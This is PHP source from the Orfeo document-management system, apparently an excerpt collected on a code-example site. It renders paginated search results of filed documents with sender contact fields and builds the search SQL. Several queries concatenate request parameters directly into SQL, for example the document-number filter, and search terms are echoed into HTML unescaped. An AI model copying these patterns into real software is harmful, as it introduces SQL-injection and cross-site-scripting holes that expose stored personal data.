        if ($yaentro == true) {
            $sWhere .= ")";
        }
        $yaentro = true;
        $sWhere .= "))";
    }
    if ($HasParam) {
        $sWhere = " AND (" . $sWhere . ") ";
    }
    //-------------------------------
    // Build base SQL statement
    //-------------------------------
    require_once "../include/query/busqueda/busquedaPiloto1.php";
    $sSQL = "SELECT distinct(" . $radi_nume_radi . ") AS RADI_NUME_RADI,\n\t\tr.RADI_FECH_RADI, r.RA_ASUN,r.RADI_ARCH4,SEXP.SGD_SEXP_PAREXP5, td.sgd_tpr_descrip, " . $redondeo . " as diasr,\n\t\tr.RADI_NUME_HOJA, r.RADI_PATH, dir.SGD_DIR_DIRECCION, dir.SGD_DIR_MAIL,\n\t\tdir.SGD_DIR_NOMREMDES, dir.SGD_DIR_TELEFONO, dir.SGD_DIR_DIRECCION,\n\t\tdir.SGD_DIR_DOC, r.RADI_USU_ANTE, r.RADI_PAIS, dir.SGD_DIR_NOMBRE,\n\t\tdir.SGD_TRD_CODIGO, r.RADI_DEPE_ACTU, r.RADI_USUA_ACTU, r.CODI_NIVEL,r.SGD_SPUB_CODIGO";
    /**
     * B�squeda por par�meto del expediente
     * Fecha de modificaci�n: 11-Agosto-2006
     * Modificador: Supersolidaria
     */
    if (strlen($ps_SGD_EXP_SUBEXPEDIENTE) != 0 or strlen($ps_PCLAVEE) != 0) {
        $sSQL .= " ,EXP.SGD_EXP_NUMERO";
    }
    $sSQL .= " FROM sgd_dir_drecciones dir, sgd_tpr_tpdcumento td,radicado r left join (SGD_EXP_EXPEDIENTE EXP left join \nSGD_SEXP_SECEXPEDIENTES SEXP on EXP.SGD_EXP_NUMERO = SEXP.SGD_EXP_NUMERO ) on\nR.RADI_NUME_RADI = EXP.RADI_NUME_RADI";
    /**
     * B�squeda por expediente
     * Fecha de modificaci�n: 30-Junio-2006
     * Modificador: Supersolidaria
     */
    $sSQL .= " WHERE dir.sgd_dir_tipo = 1 AND dir.RADI_NUME_RADI=r.RADI_NUME_RADI AND r.TDOC_CODI=td.SGD_TPR_CODIGO";
    //-------------------------------
    //SE QUITA " AND r.CODI_NIVEL <=$nivelus "
    //-------------------------------
    // Assemble full SQL statement
    //-------------------------------
    $sSQL .= $sWhere . $whereTrd . $sOrder;
    //$db->conn->debug=true;
    //-------------------------------
    // Execute SQL statement
    //-------------------------------
    $db->conn->SetFetchMode(ADODB_FETCH_ASSOC);
    // print $sSQL;
    //$db->conn->debug = true;
    $rs = $db->conn->Execute($sSQL);
    $db->conn->SetFetchMode(ADODB_FETCH_NUM);
    //echo "<hr>$sSQL<hr>";
    //-------------------------------
    // Process empty recordset
    //-------------------------------
    if ($rs->EOF || !$rs) {
        ?>
     <tr>
      <td colspan="20" class="alarmas">No hay resultados</td>
     </tr>
<?php 
        //-------------------------------
        //  The insert link.
        //-------------------------------
        ?>
    <tr>
     <td colspan="20" class="ColumnTD"><font class="ColumnFONT">
<?php 
        ?>
  </table>
<?php 
        return;
    }
    /*$sslq="select count(r.radi_nume_radi) as CON FROM sgd_dir_drecciones dir, radicado r, sgd_tpr_tpdcumento td, SGD_SEXP_SECEXPEDIENTES SEXP WHERE dir.sgd_dir_tipo = 1 AND dir.RADI_NUME_RADI=r.RADI_NUME_RADI AND r.TDOC_CODI=td.SGD_TPR_CODIGO ".$sWhere . $whereTrd ;
    $rsss=$db->conn->Execute($sslq);
    $con=$rsss->fields["CON"];
    echo "<hr>Son ".$con." Resultados<hr>";*/
    //-------------------------------
    ?>
     <!--tr>
      <td colspan="10" class="DataTD"><b>Total Registros Encontrados: <?php 
    echo $fldTotal;
    ?>
</b></td>
     </tr-->

<?php 
    //-------------------------------
    // Initialize page counter and records per page
    //-------------------------------
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
    // Process page scroller
    //-------------------------------
    $iPage = get_param("FormCIUDADANO_Page");
    //print ("<BR>($iPage)($iRecordsPerPage)");
    if (strlen(trim($iPage)) == 0) {
        $iPage = 1;
    } else {
        if ($iPage == "last") {
            $db_count = get_db_value($sCountSQL);
            $dResult = intval($db_count) / $iRecordsPerPage;
            $iPage = intval($dResult);
            if ($iPage < $dResult) {
                $iPage++;
            }
        } else {
            $iPage = intval($iPage);
        }
    }
    if (($iPage - 1) * $iRecordsPerPage != 0) {
        //print ("<BR>($iPage)($iRecordsPerPage)");
        do {
            $iCounter++;
            $rs->MoveNext();
            //print("Entra......");
        } while ($iCounter < ($iPage - 1) * $iRecordsPerPage && (!$rs->EOF && $rs));
    }
    $iCounter = 0;
    //-------------------------------
    //$ruta_raiz ="..";
    //include "../config.php";
    //include "../jh_class/funciones_sgd.php";
    //-------------------------------
    // Display grid based on recordset
    //-------------------------------.
    $i = 1;
    while (!$rs->EOF && $rs && $iCounter < $iRecordsPerPage) {
        //-------------------------------
        // Create field variables based on database fields
        //-------------------------------
        $fldRADI_NUME_RADI = $rs->fields['RADI_NUME_RADI'];
        $fldRADI_FECH_RADI = $rs->fields['RADI_FECH_RADI'];
        /**
         *B�squeda por expediente
         *Fecha de modificaci�n: 11-Agosto-2006
         *Modificador: Supersolidaria
         */
        $fldsSGD_EXP_SUBEXPEDIENTE = $rs->fields['SGD_EXP_NUMERO'];
        $fldASUNTO = $rs->fields['RA_ASUN'];
        $fldPCLAVE = $rs->fields['RADI_ARCH4'];
        $fldPCLAVEE = $rs->fields['SGD_SEXP_PAREXP5'];
        $fldTIPO_DOC = $rs->fields['SGD_TPR_DESCRIP'];
        $fldNUME_HOJAS = $rs->fields['RADI_NUME_HOJA'];
        $fldRADI_PATH = $rs->fields['RADI_PATH'];
        $fldDIRECCION_C = $rs->fields['SGD_DIR_DIRECCION'];
        $fldDIGNATARIO = $rs->fields['SGD_DIR_NOMBRE'];
        $fldTELEFONO_C = $rs->fields['SGD_DIR_TELEFONO'];
        $fldMAIL_C = $rs->fields['SGD_DIR_MAIL'];
        $fldNOMBRE = $rs->fields['SGD_DIR_NOMREMDES'];
        $fldCEDULA = $rs->fields['SGD_DIR_DOC'];
        //$fldUSUA_ACTU = $rs->fields['NOMB_ACTU") . " - (" . $rs->fields['LOGIN_ACTU").")";
        $aRADI_DEPE_ACTU = $rs->fields['RADI_DEPE_ACTU'];
        $aRADI_USUA_ACTU = $rs->fields['RADI_USUA_ACTU'];
        $fldUSUA_ANTE = $rs->fields['RADI_USU_ANTE'];
        $fldPAIS = $rs->fields['RADI_PAIS'];
        $fldDIASR = $rs->fields['DIASR'];
        $tipoReg = $rs->fields['SGD_TRD_CODIGO'];
        $nivelRadicado = $rs->fields['CODI_NIVEL'];
        $seguridadRadicado = $rs->fields['SGD_SPUB_CODIGO'];
        if ($tipoReg == 1) {
            $tipoRegDesc = "Ciudadano";
        }
        if ($tipoReg == 2) {
            $tipoRegDesc = "Empresa";
        }
        if ($tipoReg == 3) {
            $tipoRegDesc = "Entidad";
        }
        if ($tipoReg == 4) {
            $tipoRegDesc = "Funcionario";
        }
        $fldNOMBRE = str_replace($ps_RADI_NOMB, "<font color=green><b>{$ps_RADI_NOMB}</b>", tohtml($fldNOMBRE));
        $fldPCLAVE = str_replace(strtoupper($ps_PCLAVE), "<font color=green><b>{$ps_PCLAVE}</b>", tohtml($fldPCLAVE));
        $fldPCLAVEE = str_replace(strtoupper($ps_PCLAVEE), "<font color=green><b>{$ps_PCLAVEE}</b>", tohtml($fldPCLAVEE));
        $fldASUNTO = str_replace($ps_RADI_NOMB, "<font color=green><b>{$ps_RADI_NOMB}</b>", tohtml($fldASUNTO));
        //-------------------------------
        // Busquedas Anidadas
        //-------------------------------
        $queryDep = "select DEPE_NOMB from dependencia where DEPE_CODI={$aRADI_DEPE_ACTU}";
        $db->conn->SetFetchMode(ADODB_FETCH_ASSOC);
        $rs2 = $db->query($queryDep);
        $fldDEPE_ACTU = $rs2->fields['DEPE_NOMB'];
        $queryUs = "select USUA_NOMB from USUARIO where DEPE_CODI={$aRADI_DEPE_ACTU} and USUA_CODI={$aRADI_USUA_ACTU} ";
        $rs3 = $db->query($queryUs);
        $fldUSUA_ACTU = $rs3->fields['USUA_NOMB'];
        $db->conn->SetFetchMode(ADODB_FETCH_NUM);
        $linkDocto = "<a class='vinculos' href='javascript:noPermiso()' > ";
        $linkInfGeneral = "<a class='vinculos' href='javascript:noPermiso()' > ";
        if ($nivelRadicado <= $nivelus) {
            $linkDocto = "<a class='vinculos' href='../bodega/{$fldRADI_PATH}' target='Imagen{$iii}'>";
            $linkInfGeneral = "<a class='vinculos' href='../verradicado.php?verrad={$fldRADI_NUME_RADI}&" . session_name() . "=" . session_id() . "&krd={$krd}&carpeta=8&nomcarpeta=Busquedas&tipo_carp=0'>";
        }
        $verImg = $seguridadRadicado == 1 ? $fldUSUA_ACTU != $_SESSION['usua_nomb'] ? false : true : ($nivelRadicado > $nivelus ? false : true);
        // $verImg=$verImg && !($fila['SGD_EXP_PRIVADO']==1);
        //$linkInfGeneralVin = "<a class='vinculos' href='../vinculacion/mod_vinculacion.php?numRadi=$fldRADI_NUME_RADI&carpeta=$carpeAnt&nomcarpeta=$nomcarpeta&verrad=$verrad&".session_name()."=".session_id()."&krd=$krd&carpeta=$carpeAnt&nomcarpeta=$nomcarpeta&tipo_carp=0' >";
        if (strlen($ps_SGD_EXP_SUBEXPEDIENTE) == 0) {
            $consultaExpediente = "SELECT SGD_EXP_NUMERO  FROM SGD_EXP_EXPEDIENTE \n\t\t\t\tWHERE radi_nume_radi= {$fldRADI_NUME_RADI} AND sgd_exp_fech=(SELECT MIN(SGD_EXP_FECH) AS minFech from sgd_exp_expediente where radi_nume_radi= {$fldRADI_NUME_RADI})";
            $rsE = $db->query($consultaExpediente);
            $fldsSGD_EXP_SUBEXPEDIENTE = $rsE->fields[0];
        }
        //$linkInfGeneral =
        //-------------------------------
        // Process the HTML controls
        //-------------------------------
        if ($i == 1) {
            $formato = "listado1";
            $i = 2;
        } else {
            $formato = "listado2";
            $i = 1;
        }
        ?>
	<tr class="<?php 
        echo $formato;
        ?>
">
	<?php 
        if ($indiVinculo == 1) {
            ?>
	   <td class="leidos" align="center" width="70">
	   <A href="javascript:pasar_datos('<?php 
            echo $fldRADI_NUME_RADI;
            ?>
');" >
	     Vincular
		</td>
	  <?php 
        }
        ?>
	<td class="leidos">
	<?php 
        if (strlen($fldRADI_PATH) && $verImg) {
            $iii = $iii + 1;
            ?>
  <?php 
            echo $linkDocto;
        }
        ?>
	<?php 
        echo $fldRADI_NUME_RADI;
        ?>
	<?php 
        if (strlen($fldRADI_PATH)) {
            ?>
</a><?php 
        }
        ?>
&nbsp;</td>
	<td class="leidos"><?php 
        echo $linkInfGeneral;
        ?>
	<?php 
        echo tohtml($fldRADI_FECH_RADI);
        ?>
&nbsp;</a></td>
    <!--
    B�squeda por expediente
    Fecha de modificaci�n: 11-Agosto-2006
    Modificador: Supersolidaria
    -->
    <td class="leidos">
    <?php 
        echo $fldsSGD_EXP_SUBEXPEDIENTE;
        ?>
&nbsp;</td>

	<td class="leidos">
	<?php 
        echo $fldASUNTO;
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo $fldPCLAVE;
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo $fldPCLAVEE;
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldTIPO_DOC);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo $tipoRegDesc;
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldNUME_HOJAS);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldDIRECCION_C);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldTELEFONO_C);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldMAIL_C);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldDIGNATARIO);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo $fldNOMBRE;
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldCEDULA);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldUSUA_ACTU);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldDEPE_ACTU);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldUSUA_ANTE);
        ?>
&nbsp;</td>
		<td class="leidos">
	<?php 
        echo tohtml($fldPAIS);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        if ($fldRADI_DEPE_ACTU != 999) {
            echo tohtml($fldDIASR);
        } else {
            echo "Sal";
        }
        ?>
&nbsp;</td>
	</tr>
	  <?php 
        $iCounter++;
        $rs->MoveNext();
    }
    //-------------------------------
    //  Record navigator.
    //-------------------------------
    ?>
<tr>
	<td colspan="20" class="ColumnTD"><font class="ColumnFONT">
<?php 
    // Navigation begin
    $bEof = $rs;
    if ($bEof && !$bEof->EOF || $iPage != 1) {
        $iCounter = 1;
        $iHasPages = $iPage;
        $sPages = "";
        $iDisplayPages = 0;
        $iNumberOfPages = 30;
        /* El nmero de p�inas que aparecer� en el navegador al pie de la p�ina */
        while (!$rs->EOF && $rs && $iHasPages < $iPage + $iNumberOfPages) {
            if ($iCounter == $iRecordsPerPage) {
                $iCounter = 0;
                $iHasPages = $iHasPages + 1;
            }
            $iCounter++;
            $rs->MoveNext();
        }
        if (($rs->EOF || !$rs) && $iCounter > 1) {
            $iHasPages++;
        }
        if ($iHasPages - $iPage < intval($iNumberOfPages / 2)) {
            $iStartPage = $iHasPages - $iNumberOfPages;
        } else {
            $iStartPage = $iPage - $iNumberOfPages + intval($iNumberOfPages / 2);
        }
        if ($iStartPage < 0) {
            $iStartPage = 0;
        }
        for ($iPageCount = $iPageCount + 1; $iPageCount <= $iPage - 1; $iPageCount++) {
            $sPages .= "<a href=" . $sFileName . "?" . $form_params . $sSortParams . "FormCIUDADANO_Page=" . $iPageCount . "#RADICADO\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</a>&nbsp;";
            $iDisplayPages++;
        }
        $sPages .= "<font " . "class=\"paginacion\"" . "><b>" . $iPage . "</b>&nbsp;";
        $iDisplayPages++;
        $iPageCount = $iPage + 1;
        while ($iDisplayPages < $iNumberOfPages && $iStartPage + $iDisplayPages < $iHasPages) {
            $sPages .= "<a href=\"" . $sFileName . "?" . $form_params . $sSortParams . "FormCIUDADANO_Page=" . $iPageCount . "#RADICADO\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</a>&nbsp;";
            $iDisplayPages++;
            $iPageCount++;
        }
        if ($iPage == 1) {
            ?>
		<font class="paginacion">Primero
		<font class="paginacion">Anterior
<?php 
        } else {
            ?>
<a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormCIUDADANO_Page=1#RADICADO"><font class="paginacion">Primero</a>
<a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormCIUDADANO_Page=<?php 
            echo $iPage - 1;
            ?>
#RADICADO"><font class="paginacion">Anterior</a>
<?php 
        }
        echo "&nbsp;[&nbsp;" . $sPages . "]&nbsp;";
        if ($rs->EOF) {
            ?>
	<font class="ColumnFONT">Siguiente
	<font class="ColumnFONT">Ultimo
<?php 
        } else {
            ?>
<a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormCIUDADANO_Page=<?php 
            echo $iPage + 1;
            ?>
#RADICADO"><font class="ColumnFONT">Siguiente</a>
<!--<a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormCIUDADANO_Page=last#RADICADO"><font class="ColumnFONT">Ultimo</a>-->
<?php 
        }
    }
    //-------------------------------
    // Navigation end
    //-------------------------------
    ?>
	</td></tr>
	</table>
  <?php 
}

示例#15

文件： busquedaPiloto1.php 项目： kractos26/orfeo

function Ciudadano_show($nivelus, $tpRemDes, $whereFlds)
{
    //-------------------------------
    // Initialize variables
    //-------------------------------
    global $db2;
    global $db3;
    global $sRADICADOErr;
    global $sFileName;
    global $styles;
    global $ruta_raiz;
    $sWhere = "";
    $sOrder = "";
    $sSQL = "";
    $db = new ConnectionHandler($ruta_raiz);
    if ($tpRemDes == 1) {
        $tpRemDesNombre = "Por Ciudadano";
    }
    if ($tpRemDes == 2) {
        $tpRemDesNombre = "Por Otras Empresas";
    }
    if ($tpRemDes == 3) {
        $tpRemDesNombre = "Por Entidad";
    }
    if ($tpRemDes == 4) {
        $tpRemDesNombre = "Por Funcionario";
    }
    if ($tpRemDes == 9) {
        $tpRemDesNombre = "";
        $whereTrd = "   ";
    } else {
        $whereTrd = " and dir.sgd_trd_codigo = {$whereFlds}  ";
    }
    if ($indiVinculo == 2) {
        $sFormTitle = "Expedientes encontrados {$tpRemDesNombre}";
    } else {
        $sFormTitle = "Radicados encontrados {$tpRemDesNombre}";
    }
    $HasParam = false;
    $iRecordsPerPage = 25;
    $iCounter = 0;
    $iPage = 0;
    $bEof = false;
    $iSort = "";
    $iSorted = "";
    $sDirection = "";
    $sSortParams = "";
    $iTmpI = 0;
    $iTmpJ = 0;
    $sCountSQL = "";
    $transit_params = "";
    //Proceso de Vinculacion documentos
    $indiVinculo = get_param("indiVinculo");
    $verrad = get_param("verrad");
    $carpeAnt = get_param("carpeAnt");
    $nomcarpeta = get_param("nomcarpeta");
    //
    //$db->conn->debug=true;
    //-------------------------------
    // Build ORDER BY statement
    //-------------------------------
    //$sOrder = " order by r.RADI_NUME_RADI ";
    $sOrder = " order by r.radi_fech_radi ";
    $iSort = get_param("FormCIUDADANO_Sorting");
    $iSorted = get_param("FormCIUDADANO_Sorted");
    $krd = get_param("krd");
    $form_params = trim(session_name()) . "=" . trim(session_id()) . "&krd={$krd}&verrad={$verrad}&indiVinculo={$indiVinculo}&carpeAnt={$carpeAnt}&nomcarpeta={$nomcarpeta}&s_RADI_DEPE_ACTU=" . tourl(get_param("s_RADI_DEPE_ACTU")) . "&s_RADI_NOMB=" . tourl(get_param("s_RADI_NOMB")) . "&s_RADI_NUME_RADI=" . tourl(get_param("s_RADI_NUME_RADI")) . "&s_TDOC_CODI=" . tourl(get_param("s_TDOC_CODI")) . "&s_desde_dia=" . tourl(get_param("s_desde_dia")) . "&s_desde_mes=" . tourl(get_param("s_desde_mes")) . "&s_desde_ano=" . tourl(get_param("s_desde_ano")) . "&s_hasta_dia=" . tourl(get_param("s_hasta_dia")) . "&s_hasta_mes=" . tourl(get_param("s_hasta_mes")) . "&s_hasta_ano=" . tourl(get_param("s_hasta_ano")) . "&s_solo_nomb=" . tourl(get_param("s_solo_nomb")) . "&s_ciudadano=" . tourl(get_param("s_ciudadano")) . "&s_empresaESP=" . tourl(get_param("s_empresaESP")) . "&s_oEmpresa=" . tourl(get_param("s_oEmpresa")) . "&s_FUNCIONARIO=" . tourl(get_param("s_FUNCIONARIO")) . "&s_entrada=" . tourl(get_param("s_entrada")) . "&s_salida=" . tourl(get_param("s_salida")) . "&nivelus={$nivelus}&s_Listado=" . get_param("s_Listado") . "&s_SGD_EXP_SUBEXPEDIENTE=" . get_param("s_SGD_EXP_SUBEXPEDIENTE") . "&";
    // s_Listado s_ciudadano s_empresaESP s_FUNCIONARIO
    if (!$iSort) {
        $form_sorting = "";
    } else {
        if ($iSort == $iSorted) {
            $form_sorting = "";
            $sDirection = " DESC ";
            $sSortParams = "FormCIUDADANO_Sorting=" . $iSort . "&FormCIUDADANO_Sorted=" . $iSort . "&";
        } else {
            $form_sorting = $iSort;
            $sDirection = "  ";
            $sSortParams = "FormCIUDADANO_Sorting=" . $iSort . "&FormCIUDADANO_Sorted=" . "&";
        }
        switch ($iSort) {
            case 1:
                $sOrder = " order by r.radi_nume_radi" . $sDirection;
                break;
            case 2:
                $sOrder = " order by r.radi_fech_radi" . $sDirection;
                break;
            case 3:
                $sOrder = " order by r.ra_asun" . $sDirection;
                break;
            case 4:
                $sOrder = " order by td.sgd_tpr_descrip" . $sDirection;
                break;
            case 5:
                $sOrder = " order by r.radi_nume_hoja" . $sDirection;
                break;
            case 6:
                $sOrder = " order by dir.sgd_dir_direccion" . $sDirection;
                break;
            case 7:
                $sOrder = " order by dir.sgd_dir_telefono" . $sDirection;
                break;
            case 8:
                $sOrder = " order by dir.sgd_dir_mail" . $sDirection;
                break;
            case 9:
                $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
                break;
            case 12:
                $sOrder = " order by dir.sgd_dir_telefono" . $sDirection;
                break;
            case 13:
                $sOrder = " order by dir.sgd_dir_direccion" . $sDirection;
                break;
            case 14:
                $sOrder = " order by dir.sgd_dir_doc" . $sDirection;
                break;
            case 17:
                $sOrder = " order by r.radi_usu_ante" . $sDirection;
                break;
            case 20:
                $sOrder = " order by r.radi_pais" . $sDirection;
                break;
            case 21:
                $sOrder = " order by diasr" . $sDirection;
                break;
            case 22:
                $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
                break;
            case 23:
                $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
                break;
            case 24:
                $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
                break;
        }
    }
    //-------------------------------
    // Encabezados HTML de las Columnas
    //-------------------------------
    if ($indiVinculo != 2) {
        ?>
        <table width="2000" border=0 cellpadding=0 cellspacing=0 class='borde_tab'> 
        <?php 
    } else {
        ?>
            <table width="200" border=0 cellpadding=0 cellspacing=0 class='borde_tab'>
            <?php 
    }
    ?>
            <tr>
                <td class="titulos4" colspan="20"><a name="RADICADO"><?php 
    echo $sFormTitle;
    ?>
</a></td>
            </tr>
            <tr>
                <?php 
    if ($indiVinculo >= 1) {
        ?>
                    <td class="titulos5"><font class="ColumnFONT"> </td>
                    <?php 
    }
    if ($indiVinculo != 2) {
        ?>
                    <td class="titulos5"><a class="vinculos" href="<?php 
        echo $sFileName;
        ?>
?<?php 
        echo $form_params;
        ?>
FormCIUDADANO_Sorting=1&FormCIUDADANO_Sorted=<?php 
        echo $form_sorting;
        ?>
&">Radicado</a></td>
                    <td class="titulos5"><a class="vinculos" href="<?php 
        echo $sFileName;
        ?>
?<?php 
        echo $form_params;
        ?>
FormCIUDADANO_Sorting=2&FormCIUDADANO_Sorted=<?php 
        echo $form_sorting;
        ?>
&">Fecha radicaci&oacute;n</a></td>
                    <td class="titulos5"><font class="ColumnFONT">Expediente</td>
                <?php 
    } else {
        ?>
                    <td class="titulos5"><font class="ColumnFONT">Expediente</td>
                    <td class="titulos5"><a class="vinculos" href="<?php 
        echo $sFileName;
        ?>
?<?php 
        echo $form_params;
        ?>
FormCIUDADANO_Sorting=1&FormCIUDADANO_Sorted=<?php 
        echo $form_sorting;
        ?>
&">Radicado vinculado al expediente</a></td>
                    <td class="titulos5"><a class="vinculos" href="<?php 
        echo $sFileName;
        ?>
?<?php 
        echo $form_params;
        ?>
FormCIUDADANO_Sorting=2&FormCIUDADANO_Sorted=<?php 
        echo $form_sorting;
        ?>
&">Fecha Radicacion</a></td>
                <?php 
    }
    ?>
                <td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=3&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Asunto</a></td>
                <td class="titulos5"><span class="vinculos">Cuenta I.</span></td>
                <td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=4&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Tipo de documento</a></td>
                <td class="titulos5"><font class="ColumnFONT">Tipo</td>
                <td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=5&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">N&uacute;mero de hojas</a></td>
                <td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=6&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Direcci&oacute;n contacto</a></td>
                <td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=7&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Tel&eacute;fono contacto</a></td>
                <td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=8&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Mail contacto</a></td>
                <td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=23&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Dignatario</a></td>
                <td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=9&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Nombre </a></td>
                <td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=14&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Documento</a></td>
                <td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=15&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Usuario actual</a></td>
                <td class="titulos5"><font class="ColumnFONT">Dependencia actual</td>
                <td class="titulos5"><font class="ColumnFONT">Usuario anterior</td>
                <td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=20&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Pa&iacute;s</a></td>
                <td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=21&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">D&iacute;as Restantes</a></td>

            </tr>
            <?php 
    //---------------------------------------------------------------
    // Build WHERE statement
    //-------------------------------
    // Se crea la $ps_desde_RADI_FECH_RADI con los datos ingresados.
    //---------------------------------------------------------------
    $ps_desde_RADI_FECH_RADI = mktime(0, 0, 0, get_param("s_desde_mes"), get_param("s_desde_dia"), get_param("s_desde_ano"));
    $ps_hasta_RADI_FECH_RADI = mktime(23, 59, 59, get_param("s_hasta_mes"), get_param("s_hasta_dia"), get_param("s_hasta_ano"));
    if (strlen($ps_desde_RADI_FECH_RADI) && strlen($ps_hasta_RADI_FECH_RADI)) {
        $HasParam = true;
        $sWhere = $sWhere . $db->conn->SQLDate('Y-m-d', 'r.radi_fech_radi') . " >= " . $db->conn->DBDate($ps_desde_RADI_FECH_RADI);
        //$sWhere = $sWhere . "r.radi_fech_radi>=".$db->conn->DBTimeStamp($ps_desde_RADI_FECH_RADI) ; //by HLP.
        $sWhere .= " and ";
        $sWhere = $sWhere . $db->conn->SQLDate('Y-m-d', 'r.radi_fech_radi') . " <= " . $db->conn->DBDate($ps_hasta_RADI_FECH_RADI);
        //$sWhere = $sWhere . "r.radi_fech_radi<=".$db->conn->DBTimeStamp($ps_hasta_RADI_FECH_RADI); //by HLP.
    }
    /* Se recibe la dependencia actual para bsqueda */
    $ps_RADI_DEPE_ACTU = get_param("s_RADI_DEPE_ACTU");
    if (is_number($ps_RADI_DEPE_ACTU) && strlen($ps_RADI_DEPE_ACTU)) {
        $ps_RADI_DEPE_ACTU = tosql($ps_RADI_DEPE_ACTU, "Number");
    } else {
        $ps_RADI_DEPE_ACTU = "";
    }
    if (strlen($ps_RADI_DEPE_ACTU)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "r.radi_depe_actu=" . $ps_RADI_DEPE_ACTU;
    }
    /* Se recibe el nmero del radicado para bsqueda */
    require_once "../include/query/busqueda/busquedaPiloto1.php";
    $ps_RADI_NUME_RADI = get_param("s_RADI_NUME_RADI");
    $ps_DOCTO = get_param("s_DOCTO");
    if (strlen($ps_RADI_NUME_RADI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "{$radi_nume_radi} like " . tosql("%" . trim($ps_RADI_NUME_RADI) . "%", "Text");
    }
    if (strlen($ps_DOCTO)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . " dir.SGD_DIR_DOC = '{$ps_DOCTO}' ";
    }
    /**
     * Se recibe el n�mero del expediente para b�squeda
     * Fecha de modificaci�n: 30-Junio-2006
     * Modificador: Supersolidaria
     */
    $ps_SGD_EXP_SUBEXPEDIENTE = get_param("s_SGD_EXP_SUBEXPEDIENTE");
    if (strlen($ps_SGD_EXP_SUBEXPEDIENTE) != 0) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . " R.RADI_NUME_RADI = EXP.RADI_NUME_RADI";
        $sWhere = $sWhere . " AND EXP.SGD_EXP_NUMERO = SEXP.SGD_EXP_NUMERO";
        /**
         * No se tienen en cuenta los radicados que han sido excluidos de un expediente.
         * Fecha de modificaci�n: 12-Septiembre-2006
         * Modificador: Supersolidaria
         */
